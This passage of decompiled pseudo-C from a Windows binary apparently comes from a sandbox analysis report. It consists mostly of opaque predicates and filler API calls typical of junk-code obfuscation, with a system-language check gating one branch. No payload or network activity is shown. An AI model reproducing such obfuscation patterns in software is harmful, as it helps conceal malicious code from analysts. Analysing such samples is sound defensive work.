				_t416 = E00007FF67FF6ED184484(_t1269);
				if (((_t411 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0xf >= 0) goto 0xed0f8bd1;
				_t1173 = ((_t416 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x50;
				if (_t1173 >= 0) goto 0xed0f8bf7;
				_t421 = E00007FF67FF6ED184484(_t1269);
				if (_t1173 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t421 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x00000050 < 0x00000000;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t1175 = dil - 0x30;
				if (_t1175 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t428 = E00007FF67FF6ED184484(_t1269);
				if (_t1175 >= 0) goto 0xed0f8c25;
				_t1176 = ((_t428 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x68;
				if (_t1176 < 0) goto 0xed0f8c4a;
				_t433 = E00007FF67FF6ED184484(_t1269);
				if (_t1176 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t438 = E00007FF67FF6ED184484(_t1269);
				if (((_t433 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t438 & 0x8000007f) - _t957 | 0xffffff80) + _t957 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t1179 = dil - 0x1f;
				if (_t1179 < 0) goto 0xed0f8c65;
				_t445 = E00007FF67FF6ED184484(_t1269);
				if (_t1179 >= 0) goto 0xed0f8c91;
				_t1180 = ((_t445 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x62;
				 *0xed236f60 = 0 | _t1180 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t452 = E00007FF67FF6ED184484(_t1269);
				if (_t1180 >= 0) goto 0xed0f8cd6;
				_t1181 = ((_t452 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 8;
				if (_t1181 < 0) goto 0xed0f8cff;
				_t457 = E00007FF67FF6ED184484(_t1269);
				if (_t1181 >= 0) goto 0xed0f8cf2;
				_t1182 = ((_t457 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 8;
				 *0xed236f60 = 0 | _t1182 >= 0x00000000;
				dil = 7;
				_t462 = E00007FF67FF6ED184484(_t1269);
				if (_t1182 >= 0) goto 0xed0f8d15;
				_t1183 = ((_t462 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x1e;
				if (_t1183 <= 0) goto 0xed0f8d3b;
				_t467 = E00007FF67FF6ED184484(_t1269);
				if (_t1183 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t467 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x0000001e > 0x00000000;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t1185 = dil - 0x14;
				if (_t1185 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t957;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t957;
				_t477 = E00007FF67FF6ED184484(_t1269);
				if (_t1185 >= 0) goto 0xed0f8d87;
				_t1186 = ((_t477 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x46;
				if (_t1186 >= 0) goto 0xed0f8dac;
				_t482 = E00007FF67FF6ED184484(_t1269);
				if (_t1186 >= 0) goto 0xed0f8d9c;
				_t1187 = ((_t482 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x46;
				 *0xed236f60 = 0 | _t1187 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t957;
				_t487 = E00007FF67FF6ED184484(_t1269);
				if (_t1187 >= 0) goto 0xed0f8dc2;
				_t1188 = ((_t487 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - _t957;
				if (_t1188 >= 0) goto 0xed0f8de3;
				_t492 = E00007FF67FF6ED184484(_t1269);
				if (_t1188 >= 0) goto 0xed0f8dd6;
				_t1189 = ((_t492 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - _t957;
				 *0xed236f60 = 0 | _t1189 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1189 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1189 < 0) goto 0xed0f8e21;
				_t1190 = dil - bpl;
				if (_t1190 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t504 = E00007FF67FF6ED184484(_t1269);
				if (_t1190 >= 0) goto 0xed0f8e54;
				if (((_t504 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1192 = dil - 0x60;
				if (_t1192 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1269);
				if (_t1192 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1192 != 0) goto 0xed0f8e94;
				if (_t1192 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t957;
				goto 0xed0f8ec0;
				_t514 = E00007FF67FF6ED184484(_t1269);
				if (_t1192 >= 0) goto 0xed0f8ea4;
				_t1193 = ((_t514 & 0x8000007f) - _t957 | 0xffffff80) + _t957;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1193 != 0) goto 0xed0f8eb8;
				if (_t1193 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t957;
				GetMessageExtraInfo();
				_t522 = E00007FF67FF6ED184484(_t1269);
				if (_t1193 >= 0) goto 0xed0f8ed6;
				if (((_t522 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t957;
				 *0xed236f60 = sil & 0xffffffff;
				_t1196 = sil - 0x34;
				if (_t1196 < 0) goto 0xed0f8edd;
				_t529 = E00007FF67FF6ED184484(_t1269);
				r14d = 0x8000007f;
				if (_t1196 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t534 = E00007FF67FF6ED184484(_t1269);
				r14d = 0x8000007f;
				if (((_t529 & r14d) - _t957 | 0xffffff80) + _t957 - 0x5d >= 0) goto 0xed0f8f42;
				_t537 = (_t534 & 0x8000007f) - _t957 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1199 = _t537 - 0x15;
				if (_t1199 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1269);
				if (_t1199 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1199 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1269);
				if (_t1199 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1199 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t957;
				_t550 = E00007FF67FF6ED184484(_t1269);
				if (_t1199 >= 0) goto 0xed0f8fb7;
				_t1200 = ((_t550 & r14d) - _t957 | 0xffffff80) + _t957 - 0x15;
				 *0xed236f60 = 0 | _t1200 == 0x00000000;
				dil = 0x5f;
				_t555 = E00007FF67FF6ED184484(_t1269);
				if (_t1200 >= 0) goto 0xed0f8fd9;
				_t1201 = ((_t555 & r14d) - _t957 | 0xffffff80) + _t957 - 0x27;
				if (_t1201 <= 0) goto 0xed0f8ffd;
				_t560 = E00007FF67FF6ED184484(_t1269);
				if (_t1201 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t560 & r14d) - _t957 | 0xffffff80) + _t957 - 0x00000027 > 0x00000000;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t1203 = dil - 0x73;
				if (_t1203 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1269);
				if (_t1203 >= 0) goto 0xed0f9034;
				_t573 = E00007FF67FF6ED184484(_t1269);
				if (_t1203 >= 0) goto 0xed0f9045;
				dil = dil + _t957;
				 *0xed236f60 = 0 | ((_t573 & r14d) - _t957 | 0xffffff80) + _t957 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1206 = 0x52 + _t957 - 0x5b;
				if (_t1206 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1206 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1206 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t957;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1208 = r13b - 0x11;
				if (_t1208 < 0) goto 0xed0f90be;
				_t589 = E00007FF67FF6ED184484(_t1269);
				r13d = 0xffffff80;
				if (_t1208 >= 0) goto 0xed0f90e8;
				_t1209 = ((_t589 & r14d) - _t957 | r13d) + _t957 - 7;
				if (_t1209 >= 0) goto 0xed0f910e;
				_t594 = E00007FF67FF6ED184484(_t1269);
				if (_t1209 >= 0) goto 0xed0f90fe;
				_t1210 = ((_t594 & r14d) - _t957 | r13d) + _t957 - 7;
				 *0xed236f60 = 0 | _t1210 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1210 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1210 != 0) goto 0xed0f915f;
				if (_t1210 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1212 = 0x21 + _t957 - 0x33;
				if (_t1212 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t609 = E00007FF67FF6ED184484(_t1269);
				if (_t1212 >= 0) goto 0xed0f9198;
				if (((_t609 & r14d) - _t957 | r13d) + _t957 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t615 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t615 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1270, _a152, _t1281);
				 *0xed236f60 = 0x30;
				_t1216 = 0x30 + _t957 - sil;
				if (_t1216 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t957;
				GetForegroundWindow();
				_t619 = E00007FF67FF6ED184484(_t1269);
				if (_t1216 >= 0) goto 0xed0f921e;
				_t1217 = ((_t619 & r14d) - _t957 | r13d) + _t957 - 0x77;
				if (_t1217 <= 0) goto 0xed0f9242;
				_t624 = E00007FF67FF6ED184484(_t1269);
				if (_t1217 >= 0) goto 0xed0f9234;
				_t1218 = ((_t624 & r14d) - _t957 | r13d) + _t957 - 0x77;
				 *0xed236f60 = 0 | _t1218 > 0x00000000;
				GetDoubleClickTime();
				_t630 = E00007FF67FF6ED184484(_t1269);
				if (_t1218 >= 0) goto 0xed0f9259;
				_t1219 = ((_t630 & r14d) - _t957 | r13d) + _t957 - 0x7c;
				if (_t1219 <= 0) goto 0xed0f927d;
				_t635 = E00007FF67FF6ED184484(_t1269);
				if (_t1219 >= 0) goto 0xed0f926f;
				_t1220 = ((_t635 & r14d) - _t957 | r13d) + _t957 - 0x7c;
				 *0xed236f60 = 0 | _t1220 > 0x00000000;
				_t640 = E00007FF67FF6ED184484(_t1269);
				if (_t1220 >= 0) goto 0xed0f928e;
				_t1221 = ((_t640 & r14d) - _t957 | r13d) + _t957 - 0x6f;
				if (_t1221 >= 0) goto 0xed0f92b2;
				_t645 = E00007FF67FF6ED184484(_t1269);
				if (_t1221 >= 0) goto 0xed0f92a4;
				_t1222 = ((_t645 & r14d) - _t957 | r13d) + _t957 - 0x6f;
				 *0xed236f60 = 0 | _t1222 < 0x00000000;
				_t650 = E00007FF67FF6ED184484(_t1269);
				if (_t1222 >= 0) goto 0xed0f92c3;
				_t1223 = ((_t650 & r14d) - _t957 | r13d) + _t957 - 0x24;
				if (_t1223 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t656 = E00007FF67FF6ED184484(_t1269);
				if (_t1223 >= 0) goto 0xed0f92df;
				_t1224 = ((_t656 & r14d) - _t957 | r13d) + _t957 - 0x24;
				 *0xed236f60 = 0 | _t1224 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t1269);
				if (_t1224 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1224 <= 0) goto 0xed0f9398;
				_t667 = E00007FF67FF6ED184484(_t1269);
				if (_t1224 >= 0) goto 0xed0f9330;
				if (((_t667 & 0x8000007f) - _t957 | r13d) + _t957 - 0x4d <= 0) goto 0xed0f934c;
				_t1056 = r14b;
				 *0xed236f60 = _t1056 & 0x000000ff;
				_t1226 = _t1056 + _t957 - 0x28;
				if (_t1226 < 0) goto 0xed0f933c;
				_t673 = E00007FF67FF6ED184484(_t1269);
				if (_t1226 >= 0) goto 0xed0f935f;
				_t1227 = ((_t673 & 0x8000007f) - _t957 | r13d) + _t957 - 0x4d;
				 *0xed236f60 = 0 | _t1227 > 0x00000000;
				E00007FF67FF6ED184484(_t1269);
				if (_t1227 >= 0) goto 0xed0f937f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1227 > 0x00000000;
				goto 0xed0f93ed;
				_t686 = E00007FF67FF6ED184484(_t1269) & 0x8000007f;
				if (_t686 >= 0) goto 0xed0f93ad;
				_t1229 = (_t686 - _t957 | r13d) + _t957 - 0x64;
				if (_t1229 >= 0) goto 0xed0f93ba;
				GetTickCount();
				goto 0xed0f93ca;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0x62;
				_t691 = E00007FF67FF6ED184484(_t1269);
				if (_t1229 >= 0) goto 0xed0f93da;
				 *0xed236f60 = 0 | ((_t691 & 0x8000007f) - _t957 | r13d) + _t957 - 0x00000064 < 0x00000000;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x4a;
				if (0x4a + _t957 - 0x55 < 0) goto 0xed0f93f7;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x55 < 0) goto 0xed0f9407;
				r14b = 0x4f;
				IsZoomed(??);
				r14b = r14b + _t957;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x53 < 0) goto 0xed0f941d;
				 *0xed236f60 = 0x33;
				_t1234 = 0x33 + _t957 - sil;
				if (_t1234 < 0) goto 0xed0f943a;
				E00007FF67FF6ED184484(_t1269);
				if (_t1234 >= 0) goto 0xed0f945d;
				asm("movsd xmm6, [0x11070b]");
				r13d = 0x58;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1234 <= 0) goto 0xed0f94cf;
				_t1235 = r15b - 0x14;
				if (_t1235 >= 0) goto 0xed0f94cf;
				dil = r13b;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t708 = E00007FF67FF6ED184484(_t1269);
				if (_t1235 >= 0) goto 0xed0f94a2;
				if (((_t708 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x73 > 0) goto 0xed0f94ad;
				_t1237 = dil - 0x65;
				if (_t1237 < 0) goto 0xed0f9482;
				r15b = r15b + _t957;
				 *0xed236f60 = r15b & 0xffffffff;
				E00007FF67FF6ED184484(_t1269);
				if (_t1237 >= 0) goto 0xed0f946b;
				goto 0xed0f946b;
				E00007FF67FF6ED184484(_t1269);
				r15d = 0x8000007f;
				if (_t1237 >= 0) goto 0xed0f94ea;
				asm("movsd xmm6, [0x11069e]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1237 <= 0) goto 0xed0f952f;
				 *0xed1ee3f0();
				E00007FF67FF6ED184484(_t1269);
				if (_t1237 >= 0) goto 0xed0f9516;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1237 > 0x00000000;
				goto 0xed0f955d;
				E00007FF67FF6ED184484(_t1269);
				if (_t1237 >= 0) goto 0xed0f953f;
				_t737 = E00007FF67FF6ED184484(_t1269);
				if (_t1237 >= 0) goto 0xed0f954f;
				_t1238 = ((_t737 & r15d) - _t957 | 0xffffff80) + _t957 - 0x6c;
				 *0xed236f60 = 0 | _t1238 < 0x00000000;
				GetWindowTextLengthW(??);
				_t743 = E00007FF67FF6ED184484(_t1269);
				if (_t1238 >= 0) goto 0xed0f9575;
				_t1239 = ((_t743 & r15d) - _t957 | 0xffffff80) + _t957 - 0x24;
				if (_t1239 > 0) goto 0xed0f9598;
				_t748 = E00007FF67FF6ED184484(_t1269);
				if (_t1239 >= 0) goto 0xed0f958a;
				_t1240 = ((_t748 & r15d) - _t957 | 0xffffff80) + _t957 - 0x24;
				 *0xed236f60 = 0 | _t1240 <= 0x00000000;
				 *0xed236f60 = _t957;
				GetDesktopWindow();
				GetTopWindow(??);
				GetCommandLineW();
				GetTopWindow(??);
				GetMessageTime();
				 *0xed236f60 = _t957;
				E00007FF67FF6ED184484(_t1269);
				if (_t1240 >= 0) goto 0xed0f95d6;
				asm("movsd xmm6, [0x1103fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1269);
				if (_t1240 >= 0) goto 0xed0f95f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1240 > 0x00000000;
				GetSystemDefaultLangID();
				E00007FF67FF6ED184484(_t1269);
				if (_t1240 >= 0) goto 0xed0f9623;
				asm("movsd xmm6, [0x110445]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1240 != 0) goto 0xed0f9669;
				if (_t1240 != 0) goto 0xed0f9669;
				E00007FF67FF6ED184484(_t1269);
				if (_t1240 >= 0) goto 0xed0f964b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1240 != 0) goto 0xed0f965f;
				if (_t1240 != 0) goto 0xed0f965f;
				goto 0xed0f9661;
				 *0xed236f60 = 0;
				goto 0xed0f96ba;
				_t783 = E00007FF67FF6ED184484(_t1269);
				if (_t1240 >= 0) goto 0xed0f9679;
				if (((_t783 & r15d) - _t957 | 0xffffff80) + _t957 - 0x78 <= 0) goto 0xed0f96b4;
				_t1242 = sil - 0x43;
				if (_t1242 >= 0) goto 0xed0f96ae;
				E00007FF67FF6ED1EE3B8();
				sil = sil + _t957;
				 *0xed236f60 = sil & 0xffffffff;
				_t789 = E00007FF67FF6ED184484(_t1269);
				if (_t1242 >= 0) goto 0xed0f96a9;
				if (((_t789 & r15d) - _t957 | 0xffffff80) + _t957 - 0x78 > 0) goto 0xed0f967e;
				r13d = 0x58;
				 *0xed236f60 = _t957;
				 *0xed236f60 = 0x56;
				_t1244 = 0x56 + _t957 - 0x6a;
				if (_t1244 < 0) goto 0xed0f96bc;
				_t795 = E00007FF67FF6ED184484(_t1269);
				_t1111 = r15d;
				if (_t1244 >= 0) goto 0xed0f96e4;
				_t1245 = ((_t795 & r15d) - _t957 | 0xffffff80) + _t957 - 0x7f;
				if (_t1245 >= 0) goto 0xed0f9779;
				 *0xed1ee3d0();
				_t801 = E00007FF67FF6ED184484(_t1269);
				if (_t1245 >= 0) goto 0xed0f9704;
				_t1246 = ((_t801 & _t1111) - _t957 | 0xffffff80) + _t957 - 0x7f;
				 *0xed236f60 = 0 | _t1246 < 0x00000000;
				r15d = 0x5d;
				AnyPopup();
				 *0xed236f60 = _t957;
				_t807 = E00007FF67FF6ED184484(_t1269);
				if (_t1246 >= 0) goto 0xed0f9733;
				if (((_t807 & _t1111) - _t957 | 0xffffff80) + _t957 - 0x6a >= 0) goto 0xed0f980f;
				dil = 0x32;
				 *0xed1ee038();
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t1248 = dil - 0x44;
				if (_t1248 < 0) goto 0xed0f973f;
				_t814 = E00007FF67FF6ED184484(_t1269);
				if (_t1248 >= 0) goto 0xed0f976c;
				_t1249 = ((_t814 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x6a;
				goto 0xed0f983a;
				E00007FF67FF6ED184484(_t1269);
				if (_t1249 >= 0) goto 0xed0f9788;
				asm("movsd xmm6, [0x1102d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1249 < 0) goto 0xed0f9712;
				dil = 0x1a;
				r15d = 0x5d;
				 *0xed236f60 = 0x17;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t825 = E00007FF67FF6ED184484(_t1269);
				if (_t1249 >= 0) goto 0xed0f97d4;
				if (((_t825 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - r15d > 0) goto 0xed0f97df;
				_t1251 = dil - 0x24;
				if (_t1251 < 0) goto 0xed0f97ab;
				E00007FF67FF6ED184484(_t1269);
				if (_t1251 >= 0) goto 0xed0f97f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1251 >= 0x00000000;
				goto 0xed0f9718;
				_t837 = E00007FF67FF6ED184484(_t1269);
				if (_t1251 >= 0) goto 0xed0f981e;
				_t1252 = ((_t837 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x30;
				if (_t1252 == 0) goto 0xed0f9840;
				_t842 = E00007FF67FF6ED184484(_t1269);
				if (_t1252 >= 0) goto 0xed0f9832;
				_t1253 = ((_t842 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x30;
				 *0xed236f60 = 0 | _t1253 != 0x00000000;
				_t847 = E00007FF67FF6ED184484(_t1269);
				if (_t1253 >= 0) goto 0xed0f984f;
				_t1254 = ((_t847 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x1a;
				if (_t1254 > 0) goto 0xed0f9877;
				 *0xed236f60 = _t957;
				_t852 = E00007FF67FF6ED184484(_t1269);
				if (_t1254 >= 0) goto 0xed0f9869;
				 *0xed236f60 = 0 | ((_t852 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x0000001a <= 0x00000000;
				 *0xed236f60 = 0x47;
				_t1256 = 0x47 + _t957 - 0x50;
				if (_t1256 < 0) goto 0xed0f9879;
				E00007FF67FF6ED184484(_t1269);
				if (_t1256 >= 0) goto 0xed0f9898;
				asm("movsd xmm6, [0x1101d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1256 != 0) goto 0xed0f98b0;
				if (_t1256 == 0) goto 0xed0f98db;
				E00007FF67FF6ED184484(_t1269);
				if (_t1256 >= 0) goto 0xed0f98bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1256 != 0) goto 0xed0f98d3;
				if (_t1256 != 0) goto 0xed0f98d3;
				goto 0xed0f98d5;
				 *0xed236f60 = _t957;
				E00007FF67FF6ED184484(_t1269);
				if (_t1256 >= 0) goto 0xed0f98ea;
				asm("movsd xmm6, [0x110306]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1256 < 0) goto 0xed0f9931;
				 *0xed1ee008();
				E00007FF67FF6ED184484(_t1269);
				if (_t1256 >= 0) goto 0xed0f9915;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1256 >= 0x00000000;
				goto 0xed0f99d6;
				_t883 = E00007FF67FF6ED184484(_t1269);
				if (_t1256 >= 0) goto 0xed0f9940;
				_t1257 = ((_t883 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x29;
				if (_t1257 != 0) goto 0xed0f997e;
				dil = 0x21;
				dil = dil + _t957;
				 *0xed236f60 = dil & 0xffffffff;
				_t889 = E00007FF67FF6ED184484(_t1269);
				if (_t1257 >= 0) goto 0xed0f9967;
				if (((_t889 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x3d < 0) goto 0xed0f9972;
				_t1259 = dil - 0x35;
				if (_t1259 < 0) goto 0xed0f9948;
				E00007FF67FF6ED184484(_t1269);
				goto 0xed0f99b4;
				bpl = bpl + _t957;
				 *0xed236f60 = bpl & 0xffffffff;
				_t896 = E00007FF67FF6ED184484(_t1269);
				if (_t1259 >= 0) goto 0xed0f999a;
				if (((_t896 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x76 >= 0) goto 0xed0f99a5;
				_t1261 = bpl - 0x3a;
				if (_t1261 < 0) goto 0xed0f997e;
				 *0xed236f60 = 0;
				_t901 = E00007FF67FF6ED184484(_t1269);
				if (_t1261 >= 0) goto 0xed0f99be;
				_t1262 = ((_t901 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x29;
				 *0xed236f60 = 0 | _t1262 == 0x00000000;
				 *0xed236f60 = 0;
				GetCurrentProcessId();
				GetUserDefaultLangID();
				 *0xed236f60 = _t957;
				GetSystemDefaultLangID();
				_t909 = E00007FF67FF6ED184484(_t1269);
				if (_t1262 >= 0) goto 0xed0f99fd;
				_t1263 = ((_t909 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x63;
				if (_t1263 == 0) goto 0xed0f9a29;
				E00007FF67FF6ED1EE028();
				_t914 = E00007FF67FF6ED184484(_t1269);
				if (_t1263 >= 0) goto 0xed0f9a19;
				_t1264 = ((_t914 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x63;
				 *0xed236f60 = 0 | _t1264 != 0x00000000;
				goto 0xed0f9a7a;
				E00007FF67FF6ED184484(_t1269);
				if (_t1264 >= 0) goto 0xed0f9a38;
				asm("movsd xmm6, [0x110058]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1264 < 0) goto 0xed0f9a7a;
				 *0xed236f60 = _t957;
				E00007FF67FF6ED184484(_t1269);
				if (_t1264 >= 0) goto 0xed0f9a63;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1264 >= 0x00000000;
				GetTopWindow(??);
				r14b = 0x37;
				GetSystemDefaultLangID();
				r14b = r14b + _t957;
				 *0xed236f60 = r14b & 0xffffffff;
				_t1265 = r14b - 0x49;
				if (_t1265 < 0) goto 0xed0f9a85;
				 *0xed236f60 = _t957;
				 *0xed236f60 = _t957;
				E00007FF67FF6ED184484(_t1269);
				r14b = 0x23;
				if (_t1265 >= 0) goto 0xed0f9abc;
				asm("movsd xmm6, [0x110114]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1265 <= 0) goto 0xed0f9adc;
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t1269);
				if (_t1265 >= 0) goto 0xed0f9aeb;
				asm("movd xmm0, eax");
				bpl = 0x4a;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1265 > 0x00000000;
				E00007FF67FF6ED184484(_t1269);
				if (_t1265 >= 0) goto 0xed0f9b14;
				asm("movsd xmm6, [0x10fea4]");
				goto 0xed0f9be9;
				_t1266 = bpl - 0x52;
				if (_t1266 >= 0) goto 0xed0f9bfd;
				_t951 = E00007FF67FF6ED184484(_t1269);
